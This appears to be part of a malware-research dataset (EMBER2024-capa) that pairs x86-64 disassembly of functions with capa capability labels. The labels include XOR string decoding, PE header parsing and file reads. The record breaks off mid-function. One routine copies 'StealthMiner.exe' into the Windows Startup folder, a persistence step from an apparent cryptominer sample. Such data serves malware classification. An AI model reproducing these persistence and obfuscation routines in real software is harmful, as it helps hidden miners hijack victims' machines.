joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180033280
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
cmp byte [0x18004bfe3], 0
jne 0x1800333ee
lea rdx, [rcx + 0x39]
lea rax, [0x18004bfc8]
cmp rdx, rax
jbe 0x1800332c4
lea rdx, [0x18004bfe3]
cmp rcx, rdx
jae 0x1800332c4
xor edx, edx
jmp 0x1800333a0
movsd xmm4, qword [rcx + 0x1e]
movsd xmm5, qword [rcx]
movaps xmm0, xmmword [str.SSSSSSSS]
movaps xmm6, xmm4
xorps xmm6, xmm0
movaps xmm7, xmm5
xorps xmm7, xmm0
movaps xmm1, xmmword [0x18003db40]
xorps xmm4, xmm1
andps xmm6, xmm4
movaps xmm2, xmmword [0x18003db50]
movaps xmm3, xmmword [0x18003db60]
movaps xmm8, xmm5
xorps xmm8, xmm3
orps xmm8, xmm7
xorps xmm5, xmm1
andps xmm5, xmm8
andps xmm6, xmm2
orps xmm6, xmm4
xorps xmm6, xmm5
movlps qword [0x18004bfc8], xmm6
movsd xmm4, qword [rcx + 0x26]
movsd xmm5, qword [rcx + 8]
movaps xmm6, xmm4
xorps xmm6, xmm0
movaps xmm7, xmm5
xorps xmm7, xmm0
xorps xmm4, xmm1
andps xmm6, xmm4
movaps xmm8, xmm5
xorps xmm8, xmm3
orps xmm8, xmm7
xorps xmm5, xmm1
andps xmm5, xmm8
andps xmm6, xmm2
orps xmm6, xmm4
xorps xmm6, xmm5
movlps qword [0x18004bfd0], xmm6
movsd xmm4, qword [rcx + 0x2e]
movsd xmm5, qword [rcx + 0x10]
movaps xmm6, xmm4
xorps xmm6, xmm0
xorps xmm0, xmm5
xorps xmm4, xmm1
andps xmm6, xmm4
xorps xmm3, xmm5
orps xmm3, xmm0
xorps xmm5, xmm1
andps xmm5, xmm3
andps xmm6, xmm2
orps xmm6, xmm4
xorps xmm6, xmm5
movlps qword [0x18004bfd8], xmm6
mov edx, 0x18
nop word [rax + rax]
movzx r8d, byte [rcx + rdx]
movzx r9d, byte [rcx + rdx + 0x1e]
mov r10d, r9d
xor r10b, 2
mov r11d, r8d
xor r11b, 0x53
xor r9b, 0xd9
and r10b, r9b
mov ebx, r8d
xor bl, 0xac
or bl, r11b
xor r8b, 0xd9
and r8b, bl
and r10b, 0x8a
or r10b, r9b
xor r10b, r8b
mov byte [rdx + rax], r10b
inc rdx
cmp rdx, 0x1b
jne 0x1800333a0
mov byte [0x18004bfe3], 1
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
ret
Function at 0x180033910
Capabilities:
Encode data using xor

Disassembly:
cmp byte [0x18004c0a0], 0
jne 0x1800339d3
lea rdx, [rcx + 0x23]
lea rax, [0x18004c090]
cmp rdx, rax
jbe 0x18003397f
lea rdx, [0x18004c0a0]
cmp rcx, rdx
jae 0x18003397f
xor edx, edx
nop dword [rax + rax]
movzx r8d, byte [rcx + rdx]
movzx r9d, byte [rcx + rdx + 0x13]
not r8b
mov r10d, r9d
or r10b, r8b
and r8b, r9b
mov r9d, r10d
and r9b, 0x33
xor r9b, r8b
and r10b, 0xcc
or r10b, 0x23
xor r10b, r9b
xor r10b, 0xdc
mov byte [rdx + rax], r10b
inc rdx
cmp rdx, 0x10
jne 0x180033940
jmp 0x1800339cc
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x13]
pcmpeqd xmm2, xmm2
pxor xmm2, xmm0
por xmm2, xmm1
pandn xmm0, xmm1
movdqa xmm1, xmmword [str.3333333333333333]
pand xmm1, xmm2
pxor xmm1, xmm0
pand xmm2, xmmword [0x18003d660]
por xmm2, xmmword [0x18003d670]
pxor xmm2, xmm1
pxor xmm2, xmmword [0x18003d680]
movdqa xmmword [0x18004c090], xmm2
mov byte [0x18004c0a0], 1
ret

Function at 0x180034fd0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rbx
cmp byte [0x18004cbbf], 0
jne 0x180035049
xor r8d, r8d
movabs r9, 0xaaaaaaaaaaaaaaab
lea r10, [0x18004cb96]
nop
mov rax, r8
mul r9
shr rdx, 1
and rdx, 0xfffffffffffffff8
lea rax, [rdx + rdx*2]
lea rdx, [rcx + r8]
sub rdx, rax
movzx eax, byte [rcx + r8 + 0x18]
mov r11d, eax
not r11b
mov ebx, eax
and bl, 0xc9
mov esi, eax
or sil, 0x36
xor bl, 0x8b
and bl, sil
and r11b, 0x89
or r11b, bl
and al, 0x36
xor al, byte [rdx]
xor al, r11b
xor al, 0x8b
mov byte [r8 + r10], al
inc r8
cmp r8, 0x29
jne 0x180034ff0
mov byte [0x18004cbbf], 1
pop rbx
pop rsi
ret

Function at 0x1800352f0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
cmp byte [0x18004cd2b], 0
jne 0x18003536c
xor r8d, r8d
movabs r9, 0x8618618618618619
lea r10, [0x18004cd13]
nop dword [rax]
mov rax, r8
mul r9
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0xffffffffffffffeb
lea rdx, [rcx + r8]
movzx r11d, byte [rcx + r8 + 0x15]
movzx eax, byte [rax + rdx]
not al
mov edx, r11d
or dl, al
and al, r11b
mov r11d, edx
and r11b, 0x73
xor r11b, al
and dl, 0x8c
or dl, 0x12
xor dl, r11b
xor dl, 0xed
mov byte [r8 + r10], dl
inc r8
cmp r8, 0x18
jne 0x180035310
mov byte [0x18004cd2b], 1
ret
Function at 0x180035370
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
cmp byte [0x18004cd39], 0
jne 0x180035495
xor eax, eax
lea rdx, [0x18004cd2c]
nop
movzx esi, byte [rcx + rax]
movzx edi, byte [rcx + rax + 0x10]
mov r10d, esi
not r10b
mov r9d, edi
or r9b, 0x84
mov ebp, r9d
not bpl
and dil, 0x84
mov r8d, esi
xor r8b, 0x21
and r8b, r10b
mov r11d, esi
and r11b, 0x84
mov ebx, r11d
not bl
and r9b, 0x6f
mov r14d, ebp
and r14b, 0x10
or r14b, r9b
mov r15d, r14d
xor r15b, 0x90
mov r9d, r14d
xor r9b, 0x6b
and r9b, r15b
or r9b, bpl
xor r9b, dil
xor r14b, 0x6f
mov edi, r14d
and dil, 1
and r15b, 0x7a
or r15b, dil
xor r15b, 1
and r15b, r14b
mov edi, r9d
xor dil, r15b
xor r9b, 4
and r9b, r15b
or r9b, dil
and sil, 0x38
and r10b, 0x43
or r10b, sil
mov esi, r10d
xor sil, 0xc7
mov edi, r10d
xor dil, 0xe2
and dil, sil
and r8b, 0x7b
or r8b, dil
xor r8b, r11b
xor r8b, 0xda
and r10b, 0x13
mov edi, esi
and dil, 0x68
or dil, r10b
or r11b, 0x78
xor r11b, dil
and sil, bl
or sil, r11b
not sil
or sil, r8b
mov r8d, r9d
xor r8b, 0x8d
mov r10d, esi
xor r10b, 0x89
xor r9b, 0x72
and r9b, r10b
xor sil, 0x76
and sil, r8b
or sil, r9b
mov byte [rax + rdx], sil
inc rax
cmp rax, 0xd
jne 0x180035390
mov byte [0x18004cd39], 1
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1800354a0
Capabilities:
Encode data using xor

Disassembly:
push rbx
cmp byte [0x18004cd6b], 0
jne 0x180035522
xor r8d, r8d
movabs r9, 0x4924924924924925
lea r10, [0x18004cd3a]
nop
mov rax, r8
shr rax, 2
mul r9
shr rdx, 1
imul rax, rdx, 0xffffffffffffffe4
lea rdx, [rcx + r8]
movzx r11d, byte [rcx + r8 + 0x1c]
movzx eax, byte [rax + rdx]
not al
mov edx, r11d
and dl, al
or al, r11b
mov r11d, eax
xor r11b, 0xe8
mov ebx, edx
and bl, 0x17
or bl, 0x40
and dl, 0xe8
xor dl, bl
mov ebx, edx
xor bl, 0x57
xor al, 0x17
and al, bl
xor dl, 0xa8
and dl, r11b
or dl, al
mov byte [r8 + r10], dl
inc r8
cmp r8, 0x31
jne 0x1800354c0
mov byte [0x18004cd6b], 1
pop rbx
ret
Function at 0x180035530
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rbx
sub rsp, 0x48
movdqa xmmword [rsp + 0x30], xmm9
movdqa xmmword [rsp + 0x20], xmm8
movdqa xmmword [rsp + 0x10], xmm7
movdqa xmmword [rsp], xmm6
cmp byte [0x18004cda1], 0
jne 0x1800356a4
lea rdx, [rcx + 0x25]
lea rax, [0x18004cd90]
cmp rdx, rax
jbe 0x18003557f
lea rdx, [0x18004cda1]
cmp rcx, rdx
jae 0x18003557f
xor edx, edx
jmp 0x180035630
movdqu xmm0, xmmword [rcx]
movdqu xmm2, xmmword [rcx + 0x14]
movdqa xmm1, xmmword [0x18003dcd0]
movdqa xmm3, xmmword [0x18003dce0]
pxor xmm3, xmm2
movdqa xmm5, xmm2
pandn xmm5, xmm3
movdqa xmm6, xmmword [str.iiiiiiiiiiiiiiii]
movdqa xmm3, xmm2
pand xmm3, xmm6
movdqa xmm7, xmm2
por xmm7, xmm6
movdqa xmm4, xmm3
pxor xmm4, xmm7
pcmpeqd xmm8, xmm8
movdqa xmm9, xmmword [0x18003dd00]
pand xmm7, xmm9
pand xmm5, xmm1
pxor xmm5, xmm7
movdqa xmm7, xmmword [0x18003d770]
pxor xmm7, xmm2
pand xmm7, xmm3
pandn xmm3, xmm9
por xmm3, xmm7
pxor xmm3, xmm5
pxor xmm2, xmm6
pxor xmm4, xmm8
por xmm4, xmm2
pxor xmm4, xmm8
por xmm4, xmm3
pxor xmm0, xmm1
pxor xmm0, xmm4
movdqa xmmword [0x18004cd90], xmm0
mov edx, 0x10
nop word [rax + rax]
movzx r8d, byte [rcx + rdx + 0x14]
mov r9d, r8d
not r9b
mov r10d, r8d
xor r10b, 6
and r10b, r9b
mov r9d, r8d
and r9b, 0x69
mov r11d, r8d
or r11b, 0x69
mov ebx, r8d
xor bl, 8
and bl, r9b
not r9b
mov esi, r11d
and sil, 0x98
and r10b, 0x96
xor r10b, sil
xor r11b, r9b
and r9b, 0x98
or bl, r9b
xor bl, r10b
xor r8b, 0x69
or r8b, r11b
not r8b
or r8b, bl
xor r8b, byte [rcx + rdx]
xor r8b, 0x96
mov byte [rdx + rax], r8b
inc rdx
cmp rdx, 0x11
jne 0x180035630
mov byte [0x18004cda1], 1
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
pop rbx
pop rsi
ret

Function at 0x1800356c0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rbx
cmp byte [0x18004cdc6], 0
jne 0x180035787
xor r8d, r8d
movabs r9, 0x4924924924924925
lea r10, [0x18004cda2]
nop word cs:[rax + rax]
mov rax, r8
shr rax, 2
mul r9
shr rdx, 1
imul rdx, rdx, 0xffffffffffffffe4
lea r11, [rcx + r8]
movzx eax, byte [rcx + r8 + 0x1c]
movzx r11d, byte [rdx + r11]
mov ebx, eax
and bl, 0x26
or bl, 0x18
mov edx, eax
and dl, 0xd9
xor dl, bl
mov ebx, edx
xor bl, 0x18
xor dl, 0xe7
and dl, r11b
not al
or al, r11b
not r11b
and bl, r11b
or dl, bl
not dl
or dl, r11b
mov r11d, edx
and r11b, 4
or r11b, 0x6a
mov ebx, edx
and bl, 0xfb
xor bl, r11b
mov r11d, ebx
xor r11b, 0x91
mov esi, eax
xor sil, 0xfb
xor bl, 0x6e
and bl, sil
or dl, al
xor al, 4
and al, r11b
or al, bl
not dl
or dl, al
mov byte [r8 + r10], dl
inc r8
cmp r8, 0x24
jne 0x1800356f0
mov byte [0x18004cdc6], 1
pop rbx
pop rsi
ret
Function at 0x180035790
Capabilities:
Encode data using xor

Disassembly:
cmp byte [0x18004cddd], 0
jne 0x180035801
xor eax, eax
lea rdx, [0x18004cdc7]
nop word cs:[rax + rax]
movzx r8d, byte [rcx + rax + 0x10]
mov r9d, eax
and r9d, 0xf
movzx r9d, byte [rcx + r9]
not r9b
mov r10d, r8d
or r10b, r9b
and r9b, r8b
mov r8d, r10d
xor r8b, 0xbf
mov r11d, r9d
xor r11b, 0x40
xor r10b, 0x40
and r10b, r11b
xor r9b, 0xbf
and r9b, r8b
or r9b, r10b
mov byte [rax + rdx], r9b
inc rax
cmp rax, 0x16
jne 0x1800357b0
mov byte [0x18004cddd], 1
ret

Function at 0x180035810
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmmword [rsp], xmm6
cmp byte [0x18004ce4f], 0
jne 0x180035a0a
lea rdx, [rcx + 0x34]
lea rax, [0x18004ce38]
cmp rdx, rax
jbe 0x180035849
lea rdx, [0x18004ce4f]
cmp rcx, rdx
jae 0x180035849
xor edx, edx
jmp 0x1800359c0
movd xmm3, dword [rcx + 0x1d]
movd xmm1, dword [rcx]
pcmpeqd xmm0, xmm0
movdqa xmm4, xmm3
pxor xmm4, xmm0
pandn xmm3, xmm1
por xmm4, xmm1
movdqa xmm1, xmmword [0x18003dd10]
movdqa xmm5, xmm3
pxor xmm5, xmm1
movdqa xmm2, xmmword [0x18003dd20]
movdqa xmm6, xmm4
pxor xmm6, xmm2
pxor xmm3, xmm2
pand xmm3, xmm6
pxor xmm4, xmm1
pand xmm4, xmm5
por xmm4, xmm3
movd dword [0x18004ce38], xmm4
movd xmm3, dword [rcx + 0x21]
movd xmm4, dword [rcx + 4]
movdqa xmm5, xmm3
pxor xmm5, xmm0
pandn xmm3, xmm4
por xmm5, xmm4
movdqa xmm4, xmm3
pxor xmm4, xmm1
movdqa xmm6, xmm5
pxor xmm6, xmm2
pxor xmm3, xmm2
pand xmm3, xmm6
pxor xmm5, xmm1
pand xmm5, xmm4
por xmm5, xmm3
movd dword [0x18004ce3c], xmm5
movd xmm3, dword [rcx + 0x25]
movd xmm4, dword [rcx + 8]
movdqa xmm5, xmm3
pxor xmm5, xmm0
pandn xmm3, xmm4
por xmm5, xmm4
movdqa xmm4, xmm3
pxor xmm4, xmm1
movdqa xmm6, xmm5
pxor xmm6, xmm2
pxor xmm3, xmm2
pand xmm3, xmm6
pxor xmm5, xmm1
pand xmm5, xmm4
por xmm5, xmm3
movd dword [0x18004ce40], xmm5
movd xmm3, dword [rcx + 0x29]
movd xmm4, dword [rcx + 0xc]
movdqa xmm5, xmm3
pxor xmm5, xmm0
pandn xmm3, xmm4
por xmm5, xmm4
movdqa xmm4, xmm3
pxor xmm4, xmm1
movdqa xmm6, xmm5
pxor xmm6, xmm2
pxor xmm3, xmm2
pand xmm3, xmm6
pxor xmm5, xmm1
pand xmm5, xmm4
por xmm5, xmm3
movd dword [0x18004ce44], xmm5
movd xmm3, dword [rcx + 0x2d]
movd xmm4, dword [rcx + 0x10]
pxor xmm0, xmm3
pandn xmm3, xmm4
por xmm0, xmm4
movdqa xmm4, xmm3
pxor xmm4, xmm1
movdqa xmm5, xmm0
pxor xmm5, xmm2
pxor xmm3, xmm2
pand xmm3, xmm5
pxor xmm0, xmm1
pand xmm0, xmm4
por xmm0, xmm3
movd dword [0x18004ce48], xmm0
mov edx, 0x14
nop dword [rax + rax]
movzx r8d, byte [rcx + rdx]
movzx r9d, byte [rcx + rdx + 0x1d]
not r9b
mov r10d, r8d
and r10b, r9b
or r9b, r8b
mov r8d, r10d
xor r8b, 0xf0
mov r11d, r9d
xor r11b, 0xf
xor r10b, 0xf
and r10b, r11b
xor r9b, 0xf0
and r9b, r8b
or r9b, r10b
mov byte [rdx + rax], r9b
inc rdx
cmp rdx, 0x17
jne 0x1800359c0
mov byte [0x18004ce4f], 1
movaps xmm6, xmmword [rsp]
add rsp, 0x18
ret
Function at 0x180035a20
Capabilities:
Encode data using xor

Disassembly:
push rbx
cmp byte [0x18004cfcc], 0
jne 0x180035aa2
xor r8d, r8d
movabs r9, 0x97b425ed097b425f
lea r10, [0x18004cf99]
nop
mov rax, r8
mul r9
shr rdx, 4
imul rdx, rdx, 0xffffffffffffffe5
lea r11, [rcx + r8]
movzx eax, byte [rcx + r8 + 0x1b]
movzx edx, byte [rdx + r11]
mov r11d, edx
not r11b
or r11b, al
not al
or al, dl
mov edx, r11d
xor dl, 0x6c
mov ebx, eax
and bl, 0x93
and al, 0x6c
or al, 0x10
xor al, bl
mov ebx, eax
xor bl, 0x7c
xor r11b, 0x93
and r11b, bl
xor al, 0x83
and al, dl
or al, r11b
mov byte [r8 + r10], al
inc r8
cmp r8, 0x33
jne 0x180035a40
mov byte [0x18004cfcc], 1
pop rbx
ret

Function at 0x180035ab0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push rbx
cmp byte [0x18004cfea], 0
jne 0x180035b30
xor r8d, r8d
movabs r9, 0x8618618618618619
lea r10, [0x18004cfcd]
nop
mov rax, r8
mul r9
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0xffffffffffffffeb
lea rdx, [rcx + r8]
movzx r11d, byte [rcx + r8 + 0x15]
movzx eax, byte [rax + rdx]
not r11b
mov edx, eax
and dl, r11b
or r11b, al
mov eax, edx
xor al, 0x41
mov ebx, r11d
xor bl, 0xbe
xor dl, 0xbe
and dl, bl
xor r11b, 0x41
and r11b, al
or r11b, dl
mov byte [r8 + r10], r11b
inc r8
cmp r8, 0x1d
jne 0x180035ad0
mov byte [0x18004cfea], 1
pop rbx
ret

Function at 0x18003826c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800382a6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800382ab
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800382f4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x180040010]
cmp byte [rcx + rax], 0
je 0x1800382f4
dec r8
sub rdx, 1
jne 0x1800382da
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140014ef0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011262
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c00
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c20
xor al, al
jmp 0x140012ca1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c33
xor al, al
jmp 0x140012ca1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c5d
xor al, al
jmp 0x140012ca1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012c71
xor al, al
jmp 0x140012ca1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012c83
xor al, al
jmp 0x140012ca1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012c9f
xor al, al
jmp 0x140012ca1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400020f0
Capabilities:
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor r14d, r14d
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r14w
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000225f
lea rax, [rsp + 0x60]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140002171
mov rax, qword [rsp + 0x50]
cmp rdx, rax
ja 0x1400021b4
lea rdi, [rsp + 0x38]
cmp rax, 7
cmova rdi, qword [rsp + 0x38]
mov qword [rsp + 0x48], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400219d0
mov word [rbx + rdi], r14w
jmp 0x1400021c3
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140005430
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
sub rax, rdi
cmp rax, 0x11
jb 0x14000220f
lea rax, [rdi + 0x11]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rcx, 7
cmova rbx, qword [rsp + 0x38]
lea rcx, [rbx + rdi*2]
mov r8d, 0x22
lea rdx, str.StealthMiner.exe
call fcn.1400219d0
mov word [rbx + rdi*2 + 0x22], r14w
jmp 0x140002234
mov qword [rsp + 0x20], 0x11
lea r9, str.StealthMiner.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 0x11
lea rcx, [rsp + 0x38]
call fcn.140005590
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rdx, qword [rsp + 0x38]
cmp qword [rsi + 0x18], 7
jbe 0x14000224f
mov rsi, qword [rsi]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne bl
jmp 0x140002261
xor bl, bl
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x14000229f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000229a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400022c9
call fcn.140006940
movzx eax, bl
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140006920
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.14000e1c8
int3
Function at 0x140002fe0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x140003004
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x140003092
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003060
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x140003060
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.1400219d0
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000307d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140003085
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x140003021
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x140003170
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x1400030a9
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400030ab
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400030dd
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.1400219d0
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000316d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140003118
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x14000314e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.14000d9b8
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x14000316d
cmp rsi, rax
ja 0x140003121
test rsi, rsi
je 0x14000316d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000d9b8
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret

Function at 0x1400077b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007802
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007802
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007802
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007802
cmp dword [rcx + 0x84], 0xe
jbe 0x140007802
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007804
xor al, al
add rsp, 0x28
ret
Function at 0x140010290
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400102ff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400102ff
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400102ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400102ff
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400102ff
cmp dword [rcx + 0x84], 0xe
jbe 0x1400102ff
cmp dword [rcx + 0xf8], 0
je 0x1400102ff
mov ecx, ebx
call fcn.1400103b0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001018c
nop
cmp dword [rbp + 0x20], 0
je 0x14001034d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140010358
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140010290

Function at 0x140010494
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140010290

Function at 0x140012f8c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140012fa2
mov al, 1
jmp 0x140013002
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140012fb3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140013000
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001b424
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140013000
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140013000
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140013000
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140013002
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140015dd8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
